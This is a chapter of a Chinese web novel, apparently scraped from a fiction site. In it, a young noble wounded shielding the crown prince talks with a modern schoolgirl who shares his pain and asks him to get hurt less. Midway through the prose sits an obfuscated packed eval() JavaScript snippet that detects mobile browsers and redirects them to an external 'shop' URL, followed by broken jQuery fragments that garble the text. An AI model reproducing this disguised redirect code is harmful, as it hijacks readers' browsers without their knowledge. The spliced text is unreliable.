文趣网 > 都市小说 > 一百零一次祈愿 > 13. 可不可以少受点伤
    祈谷大典时,祁明琛心不在焉的,他心里一直想着受伤的祁连夏,连太子举行仪式也并未细看。

    大典后,他看到太子沈晔走远的方向,猜到沈晔多半是去看望为他挡箭而受伤的兄长。于是,他朝着那边奔去。

    他看到殿下进去待了不到一会儿又很快出来,祁明琛连忙走过去,行礼道:“殿下,敢问我兄长如何了?”

    慌乱之下,他竟忘了先说自己的身份,对上沈晔的视线时,他才反应过来,连忙补充道:“家父名为祁茂,是荣国公,臣子是荣国公第二子,祁明琛。”

    沈晔看了眼他手里握着的陶瓷瓶,猜想是从哪儿得到的伤药,看来荣国公府上也不全然厌恶祁连夏。

    “太医已为他诊治,目前并无大碍。”

    沈晔说完这句后直接离开,身边的宫人跟在他身后一同离开。

    -

    祁明琛看向紧闭的屋门。

    想到祁连夏肩上骇人的伤口,几乎浸透半个肩膀的血迹,他握住手里的药瓶顿时收紧。

    抬脚往屋门走去,刚走上最后一个台阶,他抬手想要去敲门,却在快要敲上的那一刻顿住。

    手指微微蜷缩。

    兄长一向不喜他来找他,如果他现在进去,岂不是让兄长更加不喜……可是,兄长肩上的伤太重了,他至少得看看他现在到底如何了才行。

    算了,不管了,大不了就被兄长无视。

    纠结过后,祁明琛还是敲响了屋门。

    “兄长,你还好吗?”

    他试探的开口。

    “我带了一瓶上好的金疮药,你可不可以让我进来看看你如何了,我有些担心……”

    “进。”

    祁明琛说话的声音顿住。

    他慢半拍地看着仍关着的屋门,眼里浮现出惊喜。

    兄长今日竟然没有赶他走。

    祁明琛连忙推门进去。

    南郊这边除了祭祀几乎没有人在这里久待,即使有专人维护,但房门推开时还是有一点滞涩,发出一个不大不小的擦响。

    他快速找到正躺在榻上休息的祁连夏,快步走过去,把金创药放在榻边的小矮桌上。

    “兄长,你感觉如何了,刚才你去给太子殿下挡箭的时候我好担心,万一刺客的箭歪了点……”

    “行了,我现在没事。”祁连夏眉头轻皱,不想听祁明琛这些唠叨,“你把东西送到了就走吧,我要静养。”

    “我……”

    没想到还是要被赶走的祁明琛说不出话来了。

    他噎了一下,正要继续开口,就见祁连夏脸色柔和下来,他刚觉得奇怪,祁连夏赶人的话又来了。

    “走吧,别在这儿待着了。”

    -

    祁明琛走后,祁连夏刚才脸上的不耐烦顿时消散。

    他的嘴角挑起,露出笑容来:“三七,我刚才正想找你,但没想到我弟弟突然来找我了。”

    乔三七沉默两秒,尽量忽略刚才听见的赶人的话。

    她说:“祁单,你还好吗?”

    听到这话的瞬间,祁连夏嘴角的笑容僵住,他意识到弩箭贯穿肩头的痛很可能被乔三七感知到了。

    意识到这一点,他心里最后一丝侥幸彻底破碎。

    “你呢,你没有受伤吧?”他的声音带着一丝颤抖,只要一想到乔三七可能会因为那股剧痛而受伤,他的脑子都有些混沌。

    明白他的意思的乔三七心里轻叹一口气,她深深吸了一口气,故作轻快:“只是一时没反应过来摔了一跤,还好啦,问题不大。”

    “三七,不要骗我。”

    乔三七轻叹一声,看来是瞒不下去了:“祁单,你真的很不好骗。”

    “我确实摔了一跤,骑自行车的时候,但真的还好,没有骨折没有很严重,只是一点擦伤,你真的不用太担心我,也不用太愧疚。”

    他没有回答,只是对她依然内疚。

    这份内疚没有人可以缓解,即使是她。他也不想减轻自己的内疚,他无法给她任何弥补的东西,言语在此刻也显得如此苍白。

    只有内疚,只有痛苦或许可以稍微抵消掉乔三七的痛苦,即使只有一点点。

    “呀,你怎么弄成这样回来?!”

    听到开门的声音,端着刚洗好的果盘去客厅的陈欢看过来,一眼就注意到白色裤腿灰扑扑的乔三七。

    她淡蓝色风衣袖子破了两个洞,还沾了两滴干涸的暗红色血液。

    陈欢连忙走过来,顺手把果盘放餐桌上。

    “妈,我就是骑车摔着了,还好,没啥事儿。”

    祁连夏没有错过刚才那声惊呼,他听出来是乔三七母亲的声音,那位总是和三七斗嘴又经常关心她的母亲。

    “乔扁豆!”

    “啊?咋了咋了?”

    乔扁豆从楼上冒出个头来,看向叫他的陈欢,下一秒,注意到陈欢脸色不对,立刻快步走下来。

    “唉呀妈呀,你去和人打架了啊?”

    他刚说完这句话就被陈欢狠狠拍了下背,陈欢瞪了他一眼,说:“咱闺女骑车摔着了你说她和人打架,亏你想得出来!”

    “你赶紧给炖点对养伤有好处的药膳,得早点好起来。”陈欢吩咐道,把乔三七拉到沙发上坐下,还不忘把刚洗好的果盘同样带过去。

    “多吃点苹果,消炎的。”

    乔三七接过妈妈递来的苹果,听话地啃了一大口。

    咔哧一声脆响,苹果的清甜充斥口腔,正好解了她的渴,刚才吃饭时光顾着和王琦聊天,都没喝几口水。

    “闺女,爸给你炖个鸽子汤,你还想吃点啥不?”

    得了陈欢的指使,拿着车钥匙就要出门的乔扁豆走过来:“屋头的老酸奶也快没了,再给你带两板回来?”

    乔三七咽了咽嘴里的苹果,说:“多买点儿车厘子和酸奶,明天我带去给王琦她们一起吃,谢谢爸爸!”

    乔扁豆:“好嘞,我给你弄两箱回来。”

    -

    晚上,乔三七洗漱完刚躺在床上,就听见祁单叫她的声音。

    “三七……”

    “怎么了,祁单?”

    祁连夏听到这个名字,怔了下,心里又多了几分愧疚。

    他之前还对乔三七说不要骗他,但他早就骗了他。他的名字都是假的,除了他真的住在京城,其他的一切都在瞒着她,这何尝不是一种欺骗。

    半天没听到对面的下句话,乔三七又唤了一次:“祁单?”

    祁连夏回过神来,他想起自己叫乔三七名字的原因,说:“我想和你解释一下害你受伤的原因……”

    没想到他是因为这个才忽然联系她,乔三七愣了下,她轻轻摇头,说:“不是你害我受伤的。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516752|203059||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    但转念一想,能让祁单记了这么久都还要和她解释原因,他应当还是觉得很对不起,所以她说:“祁单,如果你真的很愧疚的话不如答应我一件事好不好?”

    “什么事?”

    “我希望你能多照顾好自己,少受点伤,”她说,“我不想你又因为别人受伤。”

    她觉得,不管男女,这个年纪应当都很在意面子,不想被人知道自己被人欺负,所以,她只是说不想他因为别人受伤。

    “……”

    没想到她想让他答应的事就是不让自己受伤。

    胸口不知为何,有些闷闷的。

    祁连夏捂住自己的胸口,感受着胸腔下跳动的频率,不知为何,眼睛开始发热,眼前有些模糊。

    他眨了眨眼,世界再次清晰。

    “好,我答应你。”喉咙忽然也变得酸涩,他说,“谢谢你,三七。”

    乔三七笑了下:“不用谢。”

    她想起现在还没问到祁连夏受伤的原因,换做平时她可能真能忍住,但是今天的痛实在是痛得令人受不了,甚至比上次背上的疼痛多了不止好几倍。

    实在是压制不了自己好奇心的乔三七还是选择直接问他:“祁单,你可以和我说一下为什么受伤吗?”

    “严重吗?有看过医生……大夫吗?”

    “有看过大夫,”祁连夏说,“现在已经没事了,所以也不算严重。”

    他说话前看了圈周围,仔细听周围的声音,没有人后他才压低声音道:“受伤是因为……有人要刺杀太子,我替他挡了一箭。”

    没想到是这个原因,乔三七愣了下,脑回路有点转不过来了。

    刺杀……

    没想到她居然碰见了一次刺杀。

    居然还有太子这样的人物。

    思维跳跃了一下的乔三七忽然想起王琦来。

    如果她知道了,应该会很兴奋吧。六人定律来看,四舍五入也算是认识太子了。

    不过……

    “你替太子挡箭那太子有给你找太医吗,”乔三七的话停顿了下,她拍了拍脑袋,“我都忘了你看了大夫了,他肯定是给你找了太医的。”

    听见乔三七的话,祁连夏想象到乔三七对自己气恼的样子,他笑了笑,说:“嗯,太子给我找了太医,而且,他还答应我一件事。”

    “什么事?”

    “他愿意给我找一个武功高强的师傅教我武功,我可以名正言顺的……”

    突然意识到自己嘴快了的祁连夏连忙止住,他想了想,道:“以后我可以不用以身相挡了。”

    “恭喜你啊,祁单。”乔三七没在意他刚才的停顿,她恭喜道,“你可以更好的保护自己了。”

    “不过……”乔三七犹豫了下,考虑到事情的轻重缓急,她还是说道:“我还有三个多月就要高考了,这个考试很重要,你可不可以少受点伤?”

    太子安排的武师傅应该不能等四个月再去教他,那成什么了。

    而且,以祁单目前受伤的频率和被人欺负的频率来看,让他别受伤是不可能的了,只能尽量减少受伤的次数。

    因此,乔三七只是想要他练武的时候小心点,千万不要受太重的伤。

    “好,我一定少受伤。”

    祁连夏清楚乔三七的高考比现在的科举也不为过,他也不想耽误乔三七的前途。